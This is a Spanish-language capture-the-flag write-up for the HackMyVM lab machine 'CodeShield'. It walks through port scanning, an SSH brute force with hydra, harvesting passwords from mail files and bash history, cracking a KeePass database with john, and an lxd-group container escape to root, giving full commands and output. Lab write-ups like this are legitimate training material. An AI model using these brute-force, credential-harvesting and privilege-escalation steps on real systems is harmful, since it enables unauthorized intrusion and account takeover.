cd ~/blog

~/writeups/hmv/040-codeshield.md

040 - CodeShield

easy Linux hmv 08-03-2024
Anonymous FTP info leakUsername enumeration + SSH brute forceCredential reuse across mailboxesKeePass database crackinglxd group Privesc
hackmyvm.eu/machines/machine.php?vm=CodeShield

~1 min de lectura


Las flags de esta máquina se almacenaban como arte ASCII con un mensaje decorativo en lugar de un token; por eso los campos user_flag/root_flag quedan vacíos.

Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.37
 nmap -sCV -p21,22,25,80,110,143,443,465,587,993,995,2222,3389,22222 -oN 02-targeted.txt 192.168.1.37
...
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--    1 1002     1002      2349914 Aug 30  2023 CodeShield_pitch_deck.pdf
| -rw-rw-r--    1 1003     1003        67520 Aug 28  2023 Information_Security_Policy.pdf
|_-rw-rw-r--    1 1004     1004       226435 Aug 28  2023 The_2023_weak_password_report.pdf
22/tcp    open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
25/tcp    open  smtp          Postfix smtpd
80/tcp    open  http          nginx
110/tcp   open  pop3          Dovecot pop3d
143/tcp   open  imap          Dovecot imapd (Ubuntu)
443/tcp   open  ssl/http      nginx
465/tcp   open  ssl/smtp      Postfix smtpd
587/tcp   open  smtp          Postfix smtpd
993/tcp   open  imaps?
995/tcp   open  pop3s?
2222/tcp  open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
3389/tcp  open  ms-wbt-server xrdp
22222/tcp open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
Service Info: Hosts: -mail.codeshield.hmv,  mail.codeshield.hmv; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
...

La salida completa incluye además los certificados SSL y capacidades de cada servicio de correo; aquí se resume a los puertos y versiones relevantes.

Enumeramos el sitio HTTPS con gobuster:

 gobuster dir -u https://192.168.1.37 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r -k
...
/team.html            (Status: 200) [Size: 23225]
/mail                 (Status: 200) [Size: 5298]
/principals.php       (Status: 502) [Size: 150]
...

A partir de los nombres descubiertos en el sitio, generamos posibles usuarios con username-anarchy:

 cat users.txt
jessica carlson
mohammed mansour
xian tan
annabella cocci
thomas mitchell
patrick early
angelica johnson
jennifer cruise
john doe
bob watson
kevin valdez
 username-anarchy --input-file /home/wh01s17/Documentos/maquinas/hmv/01-easy/codeshield/content/users.txt > anarchy_users.txt

El FTP anónimo expone varios PDF, entre ellos The_2023_weak_password_report.pdf, del que extraemos un diccionario de contraseñas débiles. Hacemos fuerza bruta contra SSH (puerto 22222):

 hydra -L anarchy_users.txt -P weak_passwd.txt -s 22222 192.168.1.37 ssh
...
[22222][ssh] host: 192.168.1.37   login: valdezk   password: Greatplace2work!
...

Entramos como valdezk y buscamos contraseñas en su home, encontrando una en los correos de Thunderbird:

valdezk@codeshield:~$ grep -ri password
...
.thunderbird/fx2h7mhy.default-release/ImapMail/mail.codeshield.hmv/Trash:Password: D@taWh1sperer!
...

Probamos esa contraseña (reutilización) contra la lista de usuarios reales:

valdezk@codeshield:/home$ ls
carlsonj  coccia  cowrie  earlyp  iredadmin  iredapd  mansourm  mitchellt  netdata  tanx  valdezk  vmail

 hydra -L users.txt -p 'D@taWh1sperer!' -s 22222 192.168.1.37 ssh
...
[22222][ssh] host: 192.168.1.37   login: mitchellt   password: D@taWh1sperer!
...

Como mitchellt obtenemos la primera flag. Su .bash_history filtra otra credencial:

mitchellt@codeshield:~$ cat .bash_history
echo 'EARL!YP7DeVel@OP'| su - earlyp -c "cp -r /home/earlyp/Development/mining ."
echo 'EARL!YP7DeVel@OP'| su - earlyp -c "cp -r /home/earlyp/Development/mining /tmp"
cp -r /tmp/mining .
ls
cd mining/
ls
exit

Reutilizamos esa contraseña para acceder como earlyp:

 hydra -L users.txt -p 'EARL!YP7DeVel@OP' -s 22222 192.168.1.37 ssh
...
[22222][ssh] host: 192.168.1.37   login: earlyp   password: EARL!YP7DeVel@OP
...

Revisamos sus grupos y vemos que pertenece a lxd:

earlyp@codeshield:~$ id
uid=1000(earlyp) gid=1000(earlyp) groups=1000(earlyp),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd)

Además tiene una base KeePass:

.cache/keepassxc/keepassxc.ini:LastActiveDatabase=/home/earlyp/Documents/Passwords.kdbx
...

Tenemos dos vías de escalada. Vía 1 — grupo lxd (Privileged Groups Privesc): creamos un contenedor privilegiado que monta el host:

earlyp@codeshield:~$ lxd init

earlyp@codeshield:~$ lxc init ubuntu:16.04 test -c security.privileged=true

earlyp@codeshield:~$ lxc config device add test whatever disk source=/ path=/mnt/root recursive=true

earlyp@codeshield:~$ lxc start test

earlyp@codeshield:~$ lxc exec test bash
root@test:~#

Vía 2 — base KeePass: copiamos Passwords.kdbx a nuestra máquina y crackeamos su contraseña con john:

 file Passwords.kdbx
Passwords.kdbx: Keepass password database 2.x KDBX

 keepass2john Passwords.kdbx > hash

 /opt/john/run/john --wordlist=weak_passwd.txt hash
...
mandalorian      (Passwords)
...

Abrimos la base con esa contraseña y obtenemos las credenciales de root:

User: root
Password: 7%z5,c9=w6[x8=
Notes: This is a privileged account to administer the CodeShield server.
Should be possible to use SSH

earlyp@codeshield:~$ su root
Password:
root@codeshield:/home/earlyp#

Obtenemos acceso root.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados